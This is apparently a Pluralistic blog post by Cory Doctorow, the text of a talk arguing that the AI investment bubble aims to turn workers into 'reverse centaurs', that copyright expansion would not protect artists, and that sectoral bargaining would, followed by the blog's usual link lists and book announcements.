Start with what a reverse centaur is. In automation theory, a "centaur" is a person who is assisted by a machine. You're a human head being carried around on a tireless robot body. Driving a car makes you a centaur, and so does using autocomplete.

And obviously, a reverse centaur is machine head on a human body, a person who is serving as a squishy meat appendage for an uncaring machine.

Like an Amazon delivery driver, who sits in a cabin surrounded by AI cameras, that monitor the driver's eyes and take points off if the driver looks in a proscribed direction, and monitors the driver's mouth because singing isn't allowed on the job, and rats the driver out to the boss if they don't make quota.

The driver is in that van because the van can't drive itself and can't get a parcel from the curb to your porch. The driver is a peripheral for a van, and the van drives the driver, at superhuman speed, demanding superhuman endurance. But the driver is human, so the van doesn't just use the driver. The van uses the driver up .

Obviously, it's nice to be a centaur, and it's horrible to be a reverse centaur. There are lots of AI tools that are potentially very centaur-like, but my thesis is that these tools are created and funded for the express purpose of creating reverse-centaurs, which is something none of us want to be.

But like I said, the job of an sf writer is to do more than think about what the gadget does, and drill down on who the gadget does it for and who the gadget does it to . Tech bosses want us to believe that there is only one way a technology can be used. Mark Zuckerberg wants you to think that it's technologically impossible to have a conversation with a friend without him listening in. Tim Cook wants you to think that it's technologically impossible for you to have a reliable computing experience unless he gets a veto over which software you install and without him taking 30 cents out of every dollar you spend. Sundar Pichai wants you think that it's impossible for you to find a webpage unless he gets to spy on you from asshole to appetite.

This is all a kind of vulgar Thatcherism. Margaret Thatcher's mantra was "There is no alternative." She repeated this so often they called her "TINA" Thatcher: There. Is. No. Alternative. TINA.

"There is no alternative" is a cheap rhetorical slight. It's a demand dressed up as an observation. "There is no alternative" means "STOP TRYING TO THINK OF AN ALTERNATIVE." Which, you know, fuck that .

I'm an sf writer, my job is to think of a dozen alternatives before breakfast.

So let me explain what I think is going on here with this AI bubble, and sort out the bullshit from the material reality, and explain how I think we could and should all be better AI critics.

#

Start with monopolies: tech companies are gigantic and they don't compete, they just take over whole sectors, either on their own or in cartels.

Google and Meta control the ad market. Google and Apple control the mobile market, and Google pays Apple more than $20 billion/year not to make a competing search engine, and of course, Google has a 90% Search market-share.

Now, you'd think that this was good news for the tech companies, owning their whole sector.

But it's actually a crisis. You see, when a company is growing, it is a "growth stock," and investors really like growth stocks. When you buy a share in a growth stock, you're making a bet that it will continue to grow. So growth stocks trade at a huge multiple of their earnings. This is called the "price to earnings ratio" or "P/E ratio."

But once a company stops growing, it is a "mature" stock, and it trades at a much lower P/E ratio. So for every dollar that Target – a mature company – brings in, it is worth ten dollars. It has a P/E ratio of 10, while Amazon has a P/E ratio of 36, which means that for every dollar Amazon brings in, the market values it at $36.

It's wonderful to run a company that's got a growth stock. Your shares are as good as money. If you want to buy another company, or hire a key worker, you can offer stock instead of cash. And stock is very easy for companies to get, because shares are manufactured right there on the premises, all you have to do is type some zeroes into a spreadsheet, while dollars are much harder to come by. A company can only get dollars from customers or creditors.

So when Amazon bids against Target for a key acquisition, or a key hire, Amazon can bid with shares they make by typing zeroes into a spreadsheet, and Target can only bid with dollars they get from selling stuff to us, or taking out loans, which is why Amazon generally wins those bidding wars.

That's the upside of having a growth stock. But here's the downside: eventually a company has to stop growing. Like, say you get a 90% market share in your sector, how are you gonna grow?

Once the market decides that you aren't a growth stock, once you become mature, your stock is revalued, to a P/E ratio befitting a mature stock.

If you are an exec at a dominant company with a growth stock, you have to live in constant fear that the market will decide that you're not likely to grow any further. Think of what happened to Facebook in the first quarter of 2022. They told investors that they experienced slightly slower growth in the USA than they had anticipated, and investors panicked . They staged a one-day, $240B sell off. A quarter-trillion dollars in 24 hours! At the time, it was the largest, most precipitous drop in corporate valuation in human history.

That's a monopolist's worst nightmare, because once you're presiding over a "mature" firm, the key employees you've been compensating with stock, experience a precipitous pay-drop and bolt for the exits, so you lose the people who might help you grow again, and you can only hire their replacements with dollars. With dollars, not shares.

And the same goes for acquiring companies that might help you grow, because they, too, are going to expect money, not stock. This is the paradox of the growth stock. While you are growing to domination, the market loves you, but once you achieve dominance, the market lops 75% or more off your value in a single stroke if they don't trust your pricing power.

Which is why growth stock companies are always desperately pumping up one bubble or another, spending billions to hype the pivot to video, or cryptocurrency, or NFTs, or Metaverse, or AI.

I'm not saying that tech bosses are making bets they don't plan on winning. But I am saying that winning the bet – creating a viable metaverse – is the secondary goal. The primary goal is to keep the market convinced that your company will continue to grow, and to remain convinced until the next bubble comes along.

So this is why they're hyping AI: the material basis for the hundreds of billions in AI investment.

#

Now I want to talk about how they're selling AI. The growth narrative of AI is that AI will disrupt labor markets. I use "disrupt" here in its most disreputable, tech bro sense.

The promise of AI – the promise AI companies make to investors – is that there will be AIs that can do your job, and when your boss fires you and replaces you with AI, he will keep half of your salary for himself, and give the other half to the AI company.

That's it.

That's the $13T growth story that MorganStanley is telling. It's why big investors and institutionals are giving AI companies hundreds of billions of dollars. And because they are piling in, normies are also getting sucked in, risking their retirement savings and their family's financial security.

Now, if AI could do your job, this would still be a problem. We'd have to figure out what to do with all these technologically unemployed people.

But AI can't do your job. It can help you do your job, but that doesn't mean it's going to save anyone money. Take radiology: there's some evidence that AIs can sometimes identify solid-mass tumors that some radiologists miss, and look, I've got cancer. Thankfully, it's very treatable, but I've got an interest in radiology being as reliable and accurate as possible.

If my Kaiser hospital bought some AI radiology tools and told its radiologists: "Hey folks, here's the deal. Today, you're processing about 100 x-rays per day. From now on, we're going to get an instantaneous second opinion from the AI, and if the AI thinks you've missed a tumor, we want you to go back and have another look, even if that means you're only processing 98 x-rays per day. That's fine, we just care about finding all those tumors."

If that's what they said, I'd be delighted. But no one is investing hundreds of billions in AI companies because they think AI will make radiology more expensive, not even if that also makes radiology more accurate. The market's bet on AI is that an AI salesman will visit the CEO of Kaiser and make this pitch: "Look, you fire 9/10s of your radiologists, saving $20m/year, you give us $10m/year, and you net $10m/year, and the remaining radiologists' job will be to oversee the diagnoses the AI makes at superhuman speed, and somehow remain vigilant as they do so, despite the fact that the AI is usually right, except when it's catastrophically wrong.

"And if the AI misses a tumor, this will be the human radiologist's fault, because they are the 'human in the loop.' It's their signature on the diagnosis."

This is a reverse centaur, and it's a specific kind of reverse-centaur: it's what Dan Davies calls an "accountability sink." The radiologist's job isn't really to oversee the AI's work, it's to take the blame for the AI's mistakes.

This is another key to understanding – and thus deflating – the AI bubble. The AI can't do your job, but an AI salesman can convince your boss to fire you and replace you with an AI that can't do your job. This is key because it helps us build the kinds of coalitions that will be successful in the fight against the AI bubble.

If you're someone who's worried about cancer, and you're being told that the price of making radiology too cheap to meter, is that we're going to have to re-home America's 32,000 radiologists, with the trade-off that no one will ever be denied radiology services again, you might say, "Well, OK, I'm sorry for those radiologists, and I fully support getting them job training or UBI or whatever. But the point of radiology is to fight cancer, not to pay radiologists, so I know what side I'm on."

AI hucksters and their customers in the C-suites want the public on their side. They want to forge a class alliance between AI deployers and the people who enjoy the fruits of the reverse centaurs' labor. They want us to think of ourselves as enemies to the workers.

Now, some people will be on the workers' side because of politics or aesthetics. They just like workers better than their bosses. But if you want to win over all the people who benefit from your labor, you need to understand and stress how the products of the AI will be substandard. That they are going to get charged more for worse things. That they have a shared material interest with you.

Will those products be substandard? There's every reason to think so. Earlier, I alluded to "automation blindness, "the physical impossibility of remaining vigilant for things that rarely occur. This is why TSA agents are incredibly good at spotting water bottles. Because they get a ton of practice at this, all day, every day. And why they fail to spot the guns and bombs that government red teams smuggle through checkpoints to see how well they work, because they just don't have any practice at that. Because, to a first approximation, no one deliberately brings a gun or a bomb through a TSA checkpoint.

Automation blindness is the Achilles' heel of "humans in the loop."

Think of AI software generation: there are plenty of coders who love using AI, and almost without exception, they are senior, experienced coders, who get to decide how they will use these tools. For example, you might ask the AI to generate a set of CSS files to faithfully render a web-page across multiple versions of multiple browsers. This is a notoriously fiddly thing to do, and it's pretty easy to verify if the code works – just eyeball it in a bunch of browsers. Or maybe the coder has a single data file they need to import and they don't want to write a whole utility to convert it.

Tasks like these can genuinely make coders more efficient and give them more time to do the fun part of coding, namely, solving really gnarly, abstract puzzles. But when you listen to business leaders talk about their AI plans for coders, it's clear they're not looking to make some centaurs.

They want to fire a lot of tech workers – 500,000 over the past three years – and make the rest pick up their work with coding, which is only possible if you let the AI do all the gnarly, creative problem solving, and then you do the most boring, soul-crushing part of the job: reviewing the AIs' code.

And because AI is just a word guessing program, because all it does is calculate the most probable word to go next, the errors it makes are especially subtle and hard to spot, because these bugs are literally statistically indistinguishable from working code (except that they're bugs).

Here's an example: code libraries are standard utilities that programmers can incorporate into their apps, so they don't have to do a bunch of repetitive programming. Like, if you want to process some text, you'll use a standard library. If it's an HTML file, that library might be called something like lib.html.text.parsing; and if it's a DOCX file, it'll be lib.docx.text.parsing. But reality is messy, humans are inattentive and stuff goes wrong, so sometimes, there's another library, this one for parsing PDFs, and instead of being called lib.pdf.text.parsing, it's called lib.text.pdf.parsing.

Now, because the AI is a statistical inference engine, because all it can do is predict what word will come next based on all the words that have been typed in the past, it will "hallucinate" a library called lib.pdf.text.parsing. And the thing is, malicious hackers know that the AI will make this error, so they will go out and create a library with the predictable, hallucinated name, and that library will get automatically sucked into your program, and it will do things like steal user data or try and penetrate other computers on the same network.

And you, the human in the loop – the reverse centaur – you have to spot this subtle, hard to find error, this bug that is literally statistically indistinguishable from correct code. Now, maybe a senior coder could catch this, because they've been around the block a few times, and they know about this tripwire.

But guess who tech bosses want to preferentially fire and replace with AI? Senior coders. Those mouthy, entitled, extremely highly paid workers, who don't think of themselves as workers. Who see themselves as founders in waiting, peers of the company's top management. The kind of coder who'd lead a walkout over the company building drone-targeting systems for the Pentagon, which cost Google ten billion dollars in 2018.

For AI to be valuable, it has to replace high -wage workers, and those are precisely the experienced workers, with process knowledge, and hard-won intuition, who might spot some of those statistically camouflaged AI errors.

Like I said, the point here is to replace high -waged workers.

And one of the reasons the AI companies are so anxious to fire coders is that coders are the princes of labor. They're the most consistently privileged, sought-after, and well-compensated workers in the labor force.

If you can replace coders with AI, who cant you replace with AI? Firing coders is an ad for AI.

Which brings me to AI art . AI art – or "art" – is also an ad for AI, but it's not part of AI's business model.

Let me explain: on average, illustrators don't make any money. They are already one of the most immiserated, precartized groups of workers out there. They suffer from a pathology called "vocational awe." That's a term coined by the librarian Fobazi Ettarh, and it refers to workers who are vulnerable to workplace exploitation because they actually care about their jobs – nurses, librarians, teachers, and artists.

If AI image generators put every illustrator working today out of a job, the resulting wage-bill savings would be undetectable as a proportion of all the costs associated with training and operating image-generators. The total wage bill for commercial illustrators is less than the kombucha bill for the company cafeteria at just one of Open AI's campuses.

The purpose of AI art – and the story of AI art as a death-knell for artists – is to convince the broad public that AI is amazing and will do amazing things. It's to create buzz. Which is not to say that it's not disgusting that former OpenAI CTO Mira Murati told a conference audience that "some creative jobs shouldn't have been there in the first place," and that it's not especially disgusting that she and her colleagues boast about using the work of artists to ruin those artists' livelihoods.

It's supposed to be disgusting. It's supposed to get artists to run around and say, "The AI can do my job, and it's going to steal my job, and isn't that terrible? "

Because the customers for AI – corporate bosses – don't see AI taking workers' jobs as terrible. They see it as wonderful.

But can AI do an illustrator's job? Or any artist's job?

Let's think about that for a second. I've been a working artist since I was 17 years old, when I sold my first short story, and I've given it a lot of thought, and here's what I think art is: it starts with an artist, who has some vast, complex, numinous, irreducible feeling in their mind. And the artist infuses that feeling into some artistic medium. They make a song, or a poem, or a painting, or a drawing, or a dance, or a book, or a photograph. And the idea is, when you experience this work, a facsimile of the big, numinous, irreducible feeling will materialize in your mind.

Now that I've defined art, we have to go on a little detour.

I have a friend who's a law professor, and before the rise of chatbots, law students knew better than to ask for reference letters from their profs, unless they were a really good student. Because those letters were a pain in the ass to write. So if you advertised for a postdoc and you heard from a candidate with a reference letter from a respected prof, the mere existence of that letter told you that the prof really thought highly of that student.

But then we got chatbots, and everyone knows that you generate a reference letter by feeding three bullet points to an LLM, and it'll barf up five paragraphs of florid nonsense about the student.

So when my friend advertises for a postdoc, they are flooded with reference letters, and they deal with this flood by feeding all these letters to another chatbot, and ask it to reduce them back to three bullet points. Now, obviously, they won't be the same bullet-points, which makes this whole thing terrible.

But just as obviously, nothing in that five-paragraph letter except the original three bullet points are relevant to the student. The chatbot doesn't know the student. It doesn't know anything about them. It cannot add a single true or useful statement about the student to the letter.

What does this have to do with AI art? Art is a transfer of a big, numinous, irreducible feeling from an artist to someone else. But the image-gen program doesn't know anything about your big, numinous, irreducible feeling. The only thing it knows is whatever you put into your prompt, and those few sentences are diluted across a million pixels or a hundred thousand words, so that the average communicative density of the resulting work is indistinguishable from zero.

It's possible to infuse more communicative intent into a work: writing more detailed prompts, or doing the selective work of choosing from among many variants, or directly tinkering with the AI image after the fact, with a paintbrush or Photoshop or The Gimp. And if there will ever be a piece of AI art that is good art – as opposed to merely striking, or interesting, or an example of good draftsmanship – it will be thanks to those additional infusions of creative intent by a human.

And in the meantime, it's bad art. It's bad art in the sense of being "eerie," the word Mark Fisher uses to describe "when there is something present where there should be nothing, or there is nothing present when there should be something."

AI art is eerie because it seems like there is an intender and an intention behind every word and every pixel, because we have a lifetime of experience that tells us that paintings have painters, and writing has writers. But it's missing something. It has nothing to say, or whatever it has to say is so diluted that it's undetectable.

The images were striking before we figured out the trick, but now they're just like the images we imagine in clouds or piles of leaves. We're the ones drawing a frame around part of the scene, we're the ones focusing on some contours and ignoring the others. We're looking at an inkblot, and it's not telling us anything.

Sometimes that can be visually arresting, and to the extent that it amuses people in a community of prompters and viewers, that's harmless.

I know someone who plays a weekly Dungeons and Dragons game over Zoom. It's transcribed by an open source model running locally on the dungeon master's computer, which summarizes the night's session and prompts an image generator to create illustrations of key moments. These summaries and images are hilarious because they're full of errors. It's a bit of harmless fun, and it bring a small amount of additional pleasure to a small group of people. No one is going to fire an illustrator because D&D players are image-genning funny illustrations where seven-fingered paladins wrestle with orcs that have an extra hand.

But bosses have and will fire illustrators, because they fantasize about being able to dispense with creative professionals and just prompt an AI. Because even though the AI can't do the illustrator's job, an AI salesman can convince the illustrator's boss to fire them and replace them with an AI that can't do their job.

This is a disgusting and terrible juncture, and we should not simply shrug our shoulders and accept Thatcherism's fatalism: "There is no alternative."

So what is the alternative? A lot of artists and their allies think they have an answer: they say we should extend copyright to cover the activities associated with training a model.

And I'm here to tell you they are wrong : wrong because this would inflict terrible collateral damage on socially beneficial activities, and it would represent a massive expansion of copyright over activities that are currently permitted – for good reason!.

Let's break down the steps in AI training.

First, you scrape a bunch of web-pages. This is unambiguously legal under present copyright law. You do not need a license to make a transient copy of a copyrighted work in order to analyze it, otherwise search engines would be illegal. Ban scraping and Google will be the last search engine we ever get, the Internet Archive will go out of business, that guy in Austria who scraped all the grocery store sites and proved that the big chains were colluding to rig prices would be in deep trouble.

Next, you perform analysis on those works. Basically, you count stuff on them: count pixels and their colors and proximity to other pixels; or count words. This is obviously not something you need a license for. It's just not illegal to count the elements of a copyrighted work. And we really don't want it to be, not if you're interested in scholarship of any kind.

And it's important to note that counting things is legal, even if you're working from an illegally obtained copy. Like, if you go to the flea market, and you buy a bootleg music CD, and you take it home and you make a list of all the adverbs in the lyrics, and you publish that list, you are not infringing copyright by doing so.

Perhaps you've infringed copyright by getting the pirated CD, but not by counting the lyrics.

This is why Anthropic offered a $1.5b settlement for training its models based on a ton of books it downloaded from a pirate site: not because counting the words in the books infringes anyone's rights, but because they were worried that they were going to get hit with $150k/book statutory damages for downloading the files.

OK, after you count all the pixels or the words, it's time for the final step: publishing them. Because that's what a model is: a literary work (that is, a piece of software) that embodies a bunch of facts about a bunch of other works, word and pixel distribution information, encoded in a multidimensional array.

And again, copyright absolutely does not prohibit you from publishing facts about copyrighted works. And again, no one should want to live in a world where someone else gets to decide which truthful, factual statements you can publish.

But hey, maybe you think this is all sophistry. Maybe you think I'm full of shit. That's fine. It wouldn't be the first time someone thought that.

After all, even if I'm right about how copyright works now, there's no reason we couldn't change copyright to ban training activities, and maybe there's even a clever way to wordsmith the law so that it only catches bad things we don't like, and not all the good stuff that comes from scraping, analyzing and publishing.

Well, even then, you're not gonna help out creators by creating this new copyright. If you're thinking that you can, you need to grapple with this fact: we have monotonically expanded copyright since 1976, so that today, copyright covers more kinds of works, grants exclusive rights over more uses, and lasts longer.

And today, the media industry is larger and more profitable than it has ever been, and also: the share of media industry income that goes to creative workers is lower than its ever been, both in real terms, and as a proportion of those incredible gains made by creators' bosses at the media company.

So how it is that we have given all these new rights to creators, and those new rights have generated untold billions, and left creators poorer ? It's because in a creative market dominated by five publishers, four studios, three labels, two mobile app stores, and a single company that controls all the ebooks and audiobooks, giving a creative worker extra rights to bargain with is like giving your bullied kid more lunch money.

It doesn't matter how much lunch money you give the kid, the bullies will take it all. Give that kid enough money and the bullies will hire an agency to run a global campaign proclaiming "think of the hungry kids! Give them more lunch money!"

Creative workers who cheer on lawsuits by the big studios and labels need to remember the first rule of class warfare: things that are good for your boss are rarely what's good for you.

The day Disney and Universal filed suit against Midjourney, I got a press release from the RIAA, which represents Disney and Universal through their recording arms. Universal is the largest label in the world. Together with Sony and Warner, they control 70% of all music recordings in copyright today.

It starts: "There is a clear path forward through partnerships that both further AI innovation and foster human artistry."

It ends: "This action by Disney and Universal represents a critical stand for human creativity and responsible innovation."

And it's signed by Mitch Glazier, CEO of the RIAA.

It's very likely that name doesn't mean anything to you. But let me tell you who Mitch Glazier is. Today, Mitch Glazier is the CEO if the RIAA, with an annual salary of $1.3m. But until 1999, Mitch Glazier was a key Congressional staffer, and in 1999, Glazier snuck an amendment into an unrelated bill, the Satellite Home Viewer Improvement Act, that killed musicians' right to take their recordings back from their labels.

This is a practice that had been especially important to "heritage acts" (which is a record industry euphemism for "old music recorded by Black people"), for whom this right represented the difference between making rent and ending up on the street.

When it became clear that Glazier had pulled this musician-impoverishing scam, there was so much public outcry, that Congress actually came back for a special session, just to vote again to cancel Glazier's amendment. And then Glazier was kicked out of his cushy Congressional job, whereupon the RIAA started paying more than $1m/year to "represent the music industry."

This is the guy who signed that press release in my inbox. And his message was: The problem isn't that Midjourney wants to train a Gen AI model on copyrighted works, and then use that model to put artists on the breadline. The problem is that Midjourney didn't pay RIAA members Universal and Disney for permission to train a model. Because if only Midjourney had given Disney and Universal several million dollars for training rights to their catalogs, the companies would have happily allowed them to train to their heart's content, and they would have bought the resulting models, and fired as many creative professionals as they could.

I mean, have we already forgotten the Hollywood strikes? I sure haven't. I live in Burbank, home to Disney, Universal and Warner, and I was out on the line with my comrades from the Writers Guild, offering solidarity on behalf of my union, IATSE 830, The Animation Guild, where I'm a member of the writers' unit.

And I'll never forget when one writer turned to me and said, "You know, you prompt an LLM exactly the same way an exec gives shitty notes to a writers' room. You know: 'Make me ET, except it's about a dog, and put a love interest in there, and a car chase in the second act.' The difference is, you say that to a writers' room and they all make fun of you and call you a fucking idiot suit. But you say it to an LLM and it will cheerfully shit out a terrible script that conforms exactly to that spec (you know, Air Bud )."

These companies are desperate to use AI to displace workers. When Getty Images sues AI companies, it's not representing the interests of photographers . Getty hates paying photographers! Getty just wants to get paid for the training run, and they want the resulting AI model to have guardrails, so it will refuse to create images that compete with Getty's images for anyone except Getty. But Getty will absolutely use its models to bankrupt as many photographers as it possibly can.

A new copyright to train models won't get us a world where models aren't used to destroy artists, it'll just get us a world where the standard contracts of the handful of companies that control all creative labor markets are updated to require us to hand over those new training rights to those companies. Demanding a new copyright just makes you a useful idiot for your boss, a human shield they can brandish in policy fights, a tissue-thin pretense of "won't someone think of the hungry artists?"

When really what they're demanding is a world where 30% of the investment capital of the AI companies go into their shareholders' pockets. When an artist is being devoured by rapacious monopolies, does it matter how they divvy up the meal?

We need to protect artists from AI predation, not just create a new way for artists to be mad about their impoverishment.

And incredibly enough, there's a really simple way to do that. After 20+ years of being consistently wrong and terrible for artists' rights, the US Copyright Office has finally done something gloriously, wonderfully right . All through this AI bubble, the Copyright Office has maintained – correctly – that AI-generated works cannot be copyrighted, because copyright is exclusively for humans. That's why the "monkey selfie" is in the public domain. Copyright is only awarded to works of human creative expression that are fixed in a tangible medium.

And not only has the Copyright Office taken this position, they've defended it vigorously in court, repeatedly winning judgments to uphold this principle.

The fact that every AI created work is in the public domain means that if Getty or Disney or Universal or Hearst newspapers use AI to generate works – then anyone else can take those works, copy them, sell them, or give them away for free. And the only thing those companies hate more than paying creative workers, is having other people take their stuff without permission.

The US Copyright Office's position means that the only way these companies can get a copyright is to pay humans to do creative work. This is a recipe for centaurhood. If you're a visual artist or writer who uses prompts to come up with ideas or variations, that's no problem, because the ultimate work comes from you. And if you're a video editor who uses deepfakes to change the eyelines of 200 extras in a crowd-scene, then sure, those eyeballs are in the public domain, but the movie stays copyrighted.

But creative workers don't have to rely on the US government to rescue us from AI predators. We can do it ourselves, the way the writers did in their historic writers' strike. The writers brought the studios to their knees. They did it because they are organized and solidaristic, but also are allowed to do something that virtually no other workers are allowed to do: they can engage in "sectoral bargaining," whereby all the workers in a sector can negotiate a contract with every employer in the sector.

That's been illegal for most workers since the late 1940s, when the Taft-Hartley Act outlawed it. If we are gonna campaign to get a new law passed in hopes of making more money and having more control over our labor, we should campaign to restore sectoral bargaining, not to expand copyright.

Our allies in a campaign to expand copyright are our bosses, who have never had our best interests at heart. While our allies in the fight for sector bargaining are every worker in the country. As the song goes, "Which side are you on?"

OK, I need to bring this talk in for a landing now, because I'm out of time, so I'm going to close out with this: AI is a bubble and bubbles are terrible.

Bubbles transfer the life's savings of normal people who are just trying to have a dignified retirement to the wealthiest and most unethical people in our society, and every bubble eventually bursts, taking their savings with it.

But not every bubble is created equal. Some bubbles leave behind something productive. Worldcom stole billions from everyday people by defrauding them about orders for fiber optic cables. The CEO went to prison and died there. But the fiber outlived him. It's still in the ground. At my home, I've got 2gb symmetrical fiber, because AT&T lit up some of that old Worldcom dark fiber.

All things being equal, it would have been better if Worldcom hadn't ever existed, but the only thing worse than Worldcom committing all that ghastly fraud would be if there was nothing to salvage from the wreckage.

I don't think we'll salvage much from cryptocurrency, for example. Sure, there'll be a few coders who've learned something about secure programming in Rust. But when crypto dies, what it will leave behind is bad Austrian economics and worse monkey JPEGs.

AI is a bubble and it will burst. Most of the companies will fail. Most of the data-centers will be shuttered or sold for parts. So what will be left behind?

We'll have a bunch of coders who are really good at applied statistics. We'll have a lot of cheap GPUs, which'll be good news for, say, effects artists and climate scientists, who'll be able to buy that critical hardware at pennies on the dollar. And we'll have the open source models that run on commodity hardware, AI tools that can do a lot of useful stuff, like transcribing audio and video, describing images, summarizing documents, automating a lot of labor-intensive graphic editing, like removing backgrounds, or airbrushing passersby out of photos. These will run on our laptops and phones, and open source hackers will find ways to push them to do things their makers never dreamt of.

If there had never been an AI bubble, if all this stuff arose merely because computer scientists and product managers noodled around for a few years coming up with cool new apps for back-propagation, machine learning and generative adversarial networks, most people would have been pleasantly surprised with these interesting new things their computers could do. We'd call them "plugins."

It's the bubble that sucks, not these applications. The bubble doesn't want cheap useful things. It wants expensive, "disruptive" things: Big foundation models that lose billions of dollars every year.

When the AI investment mania halts, most of those models are going to disappear, because it just won't be economical to keep the data-centers running. As Stein's Law has it: "Anything that can't go on forever eventually stops."

The collapse of the AI bubble is going to be ugly. Seven AI companies currently account for more than a third of the stock market, and they endlessly pass around the same $100b IOU.

Bosses are mass-firing productive workers and replacing them with janky AI, and when the janky AI is gone, no one will be able to find and re-hire most of those workers, we're going to go from disfunctional AI systems to nothing.

AI is the asbestos in the walls of our technological society, stuffed there with wild abandon by a finance sector and tech monopolists run amok. We will be excavating it for a generation or more.

So we need to get rid of this bubble. Pop it, as quickly as we can. To do that, we have to focus on the material factors driving the bubble. The bubble isn't being driven by deepfake porn, or election disinformation, or AI image-gen, or slop advertising.

All that stuff is terrible and harmful, but it's not driving investment. The total dollar figure represented by these apps doesn't come close to making a dent in the capital expenditures and operating costs of AI. They are peripheral, residual uses: flashy, but unimportant to the bubble.

Get rid of all those uses and you reduce the expected income of AI companies by a sum so small it rounds to zero.

Same goes for all that "AI Safety" nonsense, that purports to concern itself with preventing an AI from attaining sentience and turning us all into paperclips. First of all, this is facially absurd. Throwing more words and GPUs into the word-guessing program won't make it sentient. That's like saying, "Well, we keep breeding these horses to run faster and faster, so it's only a matter of time until one of our mares gives birth to a locomotive." A human mind is not a word-guessing program with a lot of extra words.

I'm here for science fiction thought experiments, don't get me wrong. But also, don't mistake sf for prophesy. SF stories about superintelligence are futuristic parables, not business plans, roadmaps, or predictions.

The AI Safety people say they are worried that AI is going to end the world, but AI bosses love these weirdos. Because on the one hand, if AI is powerful enough to destroy the world, think of how much money it can make! And on the other hand, no AI business plan has a line on its revenue projections spreadsheet labeled "Income from turning the human race into paperclips." So even if we ban AI companies from doing this, we won't cost them a dime in investment capital.

To pop the bubble, we have to hammer on the forces that created the bubble: the myth that AI can do your job, especially if you get high wages that your boss can claw back; the understanding that growth companies need a succession of ever-more-outlandish bubbles to stay alive; the fact that workers and the public they serve are on one side of this fight, and bosses and their investors are on the other side.

Because the AI bubble really is very bad news, it's worth fighting seriously, and a serious fight against AI strikes at its roots: the material factors fueling the hundreds of billions in wasted capital that are being spent to put us all on the breadline and fill all our walls with high-tech asbestos.

( Image: Cryteria , CC BY 3.0 , modified )


Hey look at this ( permalink )



A shelf of leatherbound history books with a gilt-stamped series title, 'The World's Famous Events.'

Object permanence ( permalink )

#20yrsago Haunted Mansion papercraft model adds crypts and gates https://www.haunteddimensions.raykeim.com/index313.html

#20yrsago Print your own Monopoly money https://web.archive.org/web/20051202030047/http://www.hasbro.com/monopoly/pl/page.treasurechest/dn/default.cfm

#15yrsago Bunnie explains the technical intricacies and legalities of Xbox hacking https://www.bunniestudios.com/blog/2010/usa-v-crippen-a-retrospective/

#15yrsago How Pac Man’s ghosts decide what to do: elegant complexity https://web.archive.org/web/20101205044323/https://gameinternals.com/post/2072558330/understanding-pac-man-ghost-behavior

#15yrsago Glorious, elaborate, profane insults of the world https://www.reddit.com/r/AskReddit/comments/efee7/what_are_your_favorite_culturally_untranslateable/?sort=confidence

#15yrsago Walt Disney World castmembers speak about their search for a living wage https://www.youtube.com/watch?v=f5BMQ3xQc7o

#15yrsago Wikileaks cables reveal that the US wrote Spain’s proposed copyright law https://web.archive.org/web/20140723230745/https://elpais.com/elpais/2010/12/03/actualidad/1291367868_850215.html

#15yrsago Cities made of broken technology https://web.archive.org/web/20101203132915/https://agora-gallery.com/artistpage/Franco_Recchia.aspx

#10yrsago The TPP’s ban on source-code disclosure requirements: bad news for information security https://www.eff.org/deeplinks/2015/12/tpp-threatens-security-and-safety-locking-down-us-policy-source-code-audit

#10yrsago Fossil fuel divestment sit-in at MIT President’s office hits 10,000,000,000-hour mark https://twitter.com/FossilFreeMIT/status/672526210581274624

#10yrsago Hacker dumps United Arab Emirates Invest Bank’s customer data https://www.dailydot.com/news/invest-bank-hacker-buba/

#10yrsago Illinois prisons spy on prisoners, sue them for rent on their cells if they have any money https://www.chicagotribune.com/2015/11/30/state-sues-prisoners-to-pay-for-their-room-board/

#10yrsago Free usability help for privacy toolmakers https://superbloom.design/learning/blog/apply-for-help/

#10yrsago In the first 334 days of 2015, America has seen 351 mass shootings (and counting) https://web.archive.org/web/20151209004329/https://www.washingtonpost.com/news/wonk/wp/2015/11/30/there-have-been-334-days-and-351-mass-shootings-so-far-this-year/

#10yrsago Not even the scapegoats will go to jail for BP’s murder of the Gulf Coast https://arstechnica.com/tech-policy/2015/12/manslaughter-charges-dropped-in-bp-spill-case-nobody-from-bp-will-go-to-prison/

#10yrsago Urban Transport Without the Hot Air: confusing the issue with relevant facts! https://memex.craphound.com/2015/12/03/urban-transport-without-the-hot-air-confusing-the-issue-with-relevant-facts/

#5yrsago Breathtaking Iphone hack https://pluralistic.net/2020/12/03/ministry-for-the-future/#awdl

#5yrsago Graffitists hit dozens of NYC subway cars https://pluralistic.net/2020/12/03/ministry-for-the-future/#getting-up

#5yrsago The Ministry For the Future https://pluralistic.net/2020/12/03/ministry-for-the-future/#ksr

#5yrsago Monopolies made America vulnerable to covid https://pluralistic.net/2020/12/03/ministry-for-the-future/#big-health

#5yrsago Section 230 is Good, Actually https://pluralistic.net/2020/12/04/kawaski-trawick/#230

#5yrsago Postmortem of the NYPD's murder of a Black man https://pluralistic.net/2020/12/04/kawaski-trawick/#Kawaski-Trawick

#5yrsago Student debt trap https://pluralistic.net/2020/12/04/kawaski-trawick/#strike-debt

#1yrago "That Makes Me Smart" https://pluralistic.net/2024/12/04/its-not-a-lie/#its-a-premature-truth

#1yrago Canada sues Google https://pluralistic.net/2024/12/03/clementsy/#can-tech


Upcoming appearances ( permalink )

A photo of me onstage, giving a speech, pounding the podium.



A screenshot of me at my desk, doing a livecast.

Recent appearances ( permalink )



A grid of my books with Will Stahle covers..

Latest books ( permalink )



A cardboard book box with the Macmillan logo.

Upcoming books ( permalink )

  • "Unauthorized Bread": a middle-grades graphic novel adapted from my novella about refugees, toasters and DRM, FirstSecond, 2026
  • "Enshittification, Why Everything Suddenly Got Worse and What to Do About It" (the graphic novel), Firstsecond, 2026

  • "The Memex Method," Farrar, Straus, Giroux, 2026

  • "The Reverse-Centaur's Guide to AI," a short book about being a better AI critic, Farrar, Straus and Giroux, June 2026



Colophon ( permalink )

Today's top sources:

Currently writing:

  • "The Reverse Centaur's Guide to AI," a short book for Farrar, Straus and Giroux about being an effective AI critic. LEGAL REVIEW AND COPYEDIT COMPLETE.
  • "The Post-American Internet," a short book about internet policy in the age of Trumpism. PLANNING.

  • A Little Brother short story about DIY insulin PLANNING


This work – excluding any serialized fiction – is licensed under a Creative Commons Attribution 4.0 license. That means you can use it any way you like, including commercially, provided that you attribute it to me, Cory Doctorow, and include a link to pluralistic.net.

https://creativecommons.org/licenses/by/4.0/

Quotations and images are not included in this license; they are included either under a limitation or exception to copyright, or on the basis of a separate license. Please exercise caution.


How to get Pluralistic:

Blog (no ads, tracking, or data-collection):

Pluralistic.net

